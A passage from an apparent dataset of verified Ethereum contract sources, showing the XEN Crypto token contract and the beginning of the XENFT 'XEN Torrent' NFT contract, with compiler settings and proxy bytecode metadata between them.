) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IStakingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IStakingToken {\n event Staked(address indexed user, uint256 amount, uint256 term);\n\n event Withdrawn(address indexed user, uint256 amount, uint256 reward);\n\n function stake(uint256 amount, uint256 term) external;\n\n function withdraw() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IRankedMintingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IRankedMintingToken {\n event RankClaimed(address indexed user, uint256 term, uint256 rank);\n\n event MintClaimed(address indexed user, uint256 rewardAmount);\n\n function claimRank(uint256 term) external;\n\n function claimMintReward() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnableToken {\n function burn(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnRedeemable {\n event Redeemed(\n address indexed user,\n address indexed xenContract,\n address indexed tokenContract,\n uint256 xenAmount,\n uint256 tokenAmount\n );\n\n function onTokenBurned(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/XENCrypto.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"./Math.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\";\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\nimport \"./interfaces/IStakingToken.sol\";\nimport \"./interfaces/IRankedMintingToken.sol\";\nimport \"./interfaces/IBurnableToken.sol\";\nimport \"./interfaces/IBurnRedeemable.sol\";\n\ncontract XENCrypto is Context, IRankedMintingToken, IStakingToken, IBurnableToken, ERC20(\"XEN Crypto\", \"XEN\") {\n using Math for uint256;\n using ABDKMath64x64 for int128;\n using ABDKMath64x64 for uint256;\n\n // INTERNAL TYPE TO DESCRIBE A XEN MINT INFO\n struct MintInfo {\n address user;\n uint256 term;\n uint256 maturityTs;\n uint256 rank;\n uint256 amplifier;\n uint256 eaaRate;\n }\n\n // INTERNAL TYPE TO DESCRIBE A XEN STAKE\n struct StakeInfo {\n uint256 term;\n uint256 maturityTs;\n uint256 amount;\n uint256 apy;\n }\n\n // PUBLIC CONSTANTS\n\n uint256 public constant SECONDS_IN_DAY = 3_600 * 24;\n uint256 public constant DAYS_IN_YEAR = 365;\n\n uint256 public constant GENESIS_RANK = 1;\n\n uint256 public constant MIN_TERM = 1 * SECONDS_IN_DAY - 1;\n uint256 public constant MAX_TERM_START = 100 * SECONDS_IN_DAY;\n uint256 public constant MAX_TERM_END = 1_000 * SECONDS_IN_DAY;\n uint256 public constant TERM_AMPLIFIER = 15;\n uint256 public constant TERM_AMPLIFIER_THRESHOLD = 5_000;\n uint256 public constant REWARD_AMPLIFIER_START = 3_000;\n uint256 public constant REWARD_AMPLIFIER_END = 1;\n uint256 public constant EAA_PM_START = 100;\n uint256 public constant EAA_PM_STEP = 1;\n uint256 public constant EAA_RANK_STEP = 100_000;\n uint256 public constant WITHDRAWAL_WINDOW_DAYS = 7;\n uint256 public constant MAX_PENALTY_PCT = 99;\n\n uint256 public constant XEN_MIN_STAKE = 0;\n\n uint256 public constant XEN_MIN_BURN = 0;\n\n uint256 public constant XEN_APY_START = 20;\n uint256 public constant XEN_APY_DAYS_STEP = 90;\n uint256 public constant XEN_APY_END = 2;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n // PUBLIC STATE, READABLE VIA NAMESAKE GETTERS\n\n uint256 public immutable genesisTs;\n uint256 public globalRank = GENESIS_RANK;\n uint256 public activeMinters;\n uint256 public activeStakes;\n uint256 public totalXenStaked;\n // user address => XEN mint info\n mapping(address => MintInfo) public userMints;\n // user address => XEN stake info\n mapping(address => StakeInfo) public userStakes;\n // user address => XEN burn amount\n mapping(address => uint256) public userBurns;\n\n // CONSTRUCTOR\n constructor() {\n genesisTs = block.timestamp;\n }\n\n // PRIVATE METHODS\n\n /**\n * @dev calculates current MaxTerm based on Global Rank\n * (if Global Rank crosses over TERM_AMPLIFIER_THRESHOLD)\n */\n function _calculateMaxTerm() private view returns (uint256) {\n if (globalRank > TERM_AMPLIFIER_THRESHOLD) {\n uint256 delta = globalRank.fromUInt().log_2().mul(TERM_AMPLIFIER.fromUInt()).toUInt();\n uint256 newMax = MAX_TERM_START + delta * SECONDS_IN_DAY;\n return Math.min(newMax, MAX_TERM_END);\n }\n return MAX_TERM_START;\n }\n\n /**\n * @dev calculates Withdrawal Penalty depending on lateness\n */\n function _penalty(uint256 secsLate) private pure returns (uint256) {\n // =MIN(2^(daysLate+3)/window-1,99)\n uint256 daysLate = secsLate / SECONDS_IN_DAY;\n if (daysLate > WITHDRAWAL_WINDOW_DAYS - 1) return MAX_PENALTY_PCT;\n uint256 penalty = (uint256(1) << (daysLate + 3)) / WITHDRAWAL_WINDOW_DAYS - 1;\n return Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,503,081 |
44d5eb1f606e48a1f7bf49b7ef6942bf3e75a1b6dce64d55238320f06d48777e
|
0574a1ef3a37f1ea8b041a3fba39caeffad00590c647ed9bbb578484c7d8d98a
|
5e05f02c1e0ada6eece8dca05b2c3fb551a8da2b
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
263241c8d651a4820e0c3dbbe39def8656a49299
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n 